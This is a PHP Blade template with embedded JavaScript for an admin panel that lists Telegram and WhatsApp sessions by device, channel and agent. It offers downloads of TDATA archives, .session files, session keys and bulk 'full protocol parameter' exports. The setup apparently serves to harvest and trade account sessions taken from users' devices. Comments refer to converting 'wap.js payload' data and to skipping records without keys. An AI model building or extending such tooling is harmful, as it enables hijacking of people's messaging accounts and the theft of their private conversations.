359 lines
15 KiB
PHP
359 lines
15 KiB
PHP
@extends('admin.content')
|
|
|
|
@section('title', $title)
|
|
|
|
@section('content')
|
|
@php
|
|
$portal = $portal ?? 'admin';
|
|
$isWhatsApp = (int) ($kind ?? 0) === \App\Models\PluginSession::KIND_WHATSAPP;
|
|
@endphp
|
|
<div class="layui-card">
|
|
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-session-search">
|
|
<div class="layui-form-item">
|
|
@include('admin.partials.filter_channel_select')
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">设备 ID</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
@include('admin.partials.filter_agent_select')
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">{{ $isWhatsApp ? '账号 / 手机' : '用户 ID' }}</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="account_id" class="layui-input" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">创建时间</label>
|
|
<div class="layui-input-block">
|
|
<div class="layui-input-inline" style="width: 150px;">
|
|
<input type="text" name="created_from" id="LAY-session-created-from" placeholder="开始日期" autocomplete="off" class="layui-input">
|
|
</div>
|
|
<div class="layui-form-mid">-</div>
|
|
<div class="layui-input-inline" style="width: 150px;">
|
|
<input type="text" name="created_to" id="LAY-session-created-to" placeholder="结束日期" autocomplete="off" class="layui-input">
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<button class="layui-btn" lay-submit lay-filter="LAY-session-search">搜索</button>
|
|
</div>
|
|
</div>
|
|
</form>
|
|
<div class="layui-card-body">
|
|
<div style="margin-bottom:10px;">
|
|
@if ($isWhatsApp)
|
|
<button class="layui-btn layui-btn-normal" id="LAY-session-export-ws"><i class="layui-icon layui-icon-export"></i>导出 WS 全参</button>
|
|
<span style="margin-left:10px;color:#999;font-size:12px;">批量导出一次限 1000 条,请先选择时间范围</span>
|
|
@else
|
|
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出原始参数 ZIP</button>
|
|
@endif
|
|
</div>
|
|
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
|
<script type="text/html" id="LAY-session-ops">
|
|
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
|
|
@if ($isWhatsApp)
|
|
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
|
|
@endif
|
|
@if (! $isWhatsApp && auth('admin')->user()?->isSuper())
|
|
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
|
|
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
|
|
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
|
|
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
|
|
@endif
|
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
|
</script>
|
|
</div>
|
|
</div>
|
|
@endsection
|
|
|
|
@push('scripts')
|
|
<script>
|
|
layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
|
var table = layui.table, form = layui.form, layer = layui.layer;
|
|
var laydate = layui.laydate;
|
|
var isWhatsApp = @json($isWhatsApp);
|
|
var dataUrl = @json($isWhatsApp ? route($portal.'.whatsapp.data') : route($portal.'.telegram.data'));
|
|
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
|
|
|
laydate.render({ elem: '#LAY-session-created-from', type: 'date' });
|
|
laydate.render({ elem: '#LAY-session-created-to', type: 'date' });
|
|
function esc(s) {
|
|
return String(s == null ? '' : s)
|
|
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
|
}
|
|
|
|
function yesNo(v) {
|
|
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
|
|
}
|
|
function dash(v) { return v ? v : '—'; }
|
|
|
|
var cols = [
|
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
|
{ field: 'device_key', title: '设备 ID', width: 160 },
|
|
{ field: 'channel_id', title: '渠道 ID', width: 160, templet: function (d) { return dash(d.channel_id); } }
|
|
];
|
|
if (isWhatsApp) {
|
|
cols.push(
|
|
{ field: 'account_id', title: '账号', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
|
|
{ field: 'phone', title: '手机号', width: 150, templet: function (d) { return dash(d.phone); } },
|
|
{ field: 'nickname', title: '昵称', width: 140, templet: function (d) { return dash(d.nickname); } },
|
|
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
|
|
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } }
|
|
);
|
|
} else {
|
|
cols.push(
|
|
{ field: 'account_id', title: '用户 ID', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
|
|
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
|
|
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } }
|
|
);
|
|
}
|
|
cols.push(
|
|
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
|
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
|
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
|
);
|
|
|
|
table.render({
|
|
elem: '#LAY-session-list',
|
|
id: 'LAY-session-list',
|
|
url: dataUrl,
|
|
cols: [cols],
|
|
page: true, limit: 20, limits: [10, 20, 30, 50],
|
|
request: { pageName: 'page', limitName: 'limit' },
|
|
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
|
});
|
|
|
|
form.on('submit(LAY-session-search)', function (data) {
|
|
table.reload('LAY-session-list', { where: data.field, page: { curr: 1 } });
|
|
return false;
|
|
});
|
|
|
|
// Bulk export: build a query string from the current search form and
|
|
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
|
|
var zipBtn = document.getElementById('LAY-session-export');
|
|
if (zipBtn) {
|
|
zipBtn.addEventListener('click', function () {
|
|
var params = new URLSearchParams();
|
|
params.set('kind', isWhatsApp ? '2' : '1');
|
|
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
|
if (formEl) {
|
|
var fd = new FormData(formEl);
|
|
fd.forEach(function (v, k) { if (v) params.set(k, v); });
|
|
}
|
|
var url = @json(route($portal.'.sessions.export')) + '?' + params.toString();
|
|
var load = layer.load(1, { shade: 0.1 });
|
|
// Use fetch so we can detect JSON error responses (422) vs the ZIP blob.
|
|
fetch(url, { credentials: 'same-origin' })
|
|
.then(function (res) {
|
|
layer.close(load);
|
|
var ct = res.headers.get('Content-Type') || '';
|
|
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
|
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
|
|
}
|
|
return res.blob().then(function (blob) {
|
|
var a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = (isWhatsApp ? 'ws' : 'tg') + '-sessions.zip';
|
|
document.body.appendChild(a);
|
|
a.click();
|
|
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
|
});
|
|
})
|
|
.catch(function (e) {
|
|
layer.close(load);
|
|
layer.msg(e.message || '导出失败');
|
|
});
|
|
});
|
|
}
|
|
|
|
// WS TXT export: same filters, but returns a single NDJSON .txt (one JSON
|
|
// per line, 26 fields — chk.ts native format). Server converts each wap.js
|
|
// payload on the fly.
|
|
var wsBtn = document.getElementById('LAY-session-export-ws');
|
|
if (wsBtn) {
|
|
wsBtn.addEventListener('click', function () {
|
|
var params = new URLSearchParams();
|
|
params.set('kind', '2');
|
|
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
|
if (formEl) {
|
|
var fd = new FormData(formEl);
|
|
fd.forEach(function (v, k) { if (v) params.set(k, v); });
|
|
}
|
|
var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString();
|
|
var load = layer.load(1, { shade: 0.1 });
|
|
fetch(url, { credentials: 'same-origin' })
|
|
.then(function (res) {
|
|
layer.close(load);
|
|
var ct = res.headers.get('Content-Type') || '';
|
|
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
|
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
|
|
}
|
|
var skipped = res.headers.get('X-Export-Skipped') || '0';
|
|
var written = res.headers.get('X-Export-Written') || '';
|
|
return res.blob().then(function (blob) {
|
|
var a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = 'ws-' + @json(date('Ymd-His')) + '.txt';
|
|
document.body.appendChild(a);
|
|
a.click();
|
|
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
|
if (skipped && skipped !== '0') {
|
|
layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : ''));
|
|
}
|
|
});
|
|
})
|
|
.catch(function (e) {
|
|
layer.close(load);
|
|
layer.msg(e.message || '导出失败');
|
|
});
|
|
});
|
|
}
|
|
|
|
table.on('tool(LAY-session-list)', function (obj) {
|
|
if (obj.event === 'payload') {
|
|
var url = obj.data.payload_url;
|
|
if (!url) {
|
|
layer.msg('缺少参数地址');
|
|
return;
|
|
}
|
|
var load = layer.load(1, { shade: 0.1 });
|
|
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
|
|
.then(function (res) {
|
|
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
|
|
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
|
|
})
|
|
.then(function (out) {
|
|
layer.close(load);
|
|
var body = out.body || {};
|
|
var json = body.data && body.data.payload_json;
|
|
if (!out.ok || body.code === 1 || !json) {
|
|
layer.msg(body.msg || '加载参数失败');
|
|
return;
|
|
}
|
|
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
|
|
var downloadBtn = downloadUrl
|
|
? '<a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a>'
|
|
: '';
|
|
layer.open({
|
|
type: 1,
|
|
title: (isWhatsApp ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
|
|
area: ['720px', '520px'],
|
|
content: '<div style="margin:12px 12px 0;">' + downloadBtn + '</div>' +
|
|
'<pre class="json-block" style="margin:12px;max-height:400px;">' +
|
|
esc(json) + '</pre>'
|
|
});
|
|
})
|
|
.catch(function () {
|
|
layer.close(load);
|
|
layer.msg('加载参数失败');
|
|
});
|
|
return;
|
|
}
|
|
if (obj.event === 'wsFull') {
|
|
var url = obj.data.ws_full_url;
|
|
if (!url) {
|
|
layer.msg('缺少协议全参地址');
|
|
return;
|
|
}
|
|
var load = layer.load(1, { shade: 0.1 });
|
|
fetch(url, { credentials: 'same-origin' })
|
|
.then(function (res) {
|
|
layer.close(load);
|
|
var ct = res.headers.get('Content-Type') || '';
|
|
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
|
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
|
}
|
|
return res.blob().then(function (blob) {
|
|
var a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
|
|
document.body.appendChild(a);
|
|
a.click();
|
|
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
|
});
|
|
})
|
|
.catch(function (e) {
|
|
layer.close(load);
|
|
layer.msg(e.message || '转换失败');
|
|
});
|
|
return;
|
|
}
|
|
if (obj.event === 'tdata') {
|
|
var url = obj.data.tdata_url;
|
|
if (!url) {
|
|
layer.msg('缺少 TDATA 地址');
|
|
return;
|
|
}
|
|
var load = layer.load(1, { shade: 0.1 });
|
|
fetch(url, { credentials: 'same-origin' })
|
|
.then(function (res) {
|
|
layer.close(load);
|
|
var ct = res.headers.get('Content-Type') || '';
|
|
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
|
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
|
}
|
|
return res.blob().then(function (blob) {
|
|
var a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
|
|
document.body.appendChild(a);
|
|
a.click();
|
|
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
|
});
|
|
})
|
|
.catch(function (e) {
|
|
layer.close(load);
|
|
layer.msg(e.message || '转换失败');
|
|
});
|
|
return;
|
|
}
|
|
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
|
|
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
|
|
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
|
|
var type = typeMap[obj.event];
|
|
var baseUrl = obj.data.session_file_url;
|
|
if (!baseUrl) {
|
|
layer.msg('缺少会话文件地址');
|
|
return;
|
|
}
|
|
var url = baseUrl + '?type=' + type;
|
|
var load = layer.load(1, { shade: 0.1 });
|
|
fetch(url, { credentials: 'same-origin' })
|
|
.then(function (res) {
|
|
layer.close(load);
|
|
var ct = res.headers.get('Content-Type') || '';
|
|
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
|
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
|
}
|
|
return res.blob().then(function (blob) {
|
|
var a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
|
|
document.body.appendChild(a);
|
|
a.click();
|
|
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
|
});
|
|
})
|
|
.catch(function (e) {
|
|
layer.close(load);
|
|
layer.msg(e.message || '转换失败');
|
|
});
|
|
return;
|
|
}
|
|
if (obj.event !== 'detail') return;
|
|
var url = obj.data.detail_url;
|
|
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
|
try {
|
|
if (parent && parent.layui && parent.layui.index) {
|
|
parent.layui.index.openTabsPage(url, title);
|
|
return;
|
|
}
|
|
} catch (e) {}
|
|
location.href = url;
|
|
});
|
|
});
|
|
</script>
|
|
@endpush
|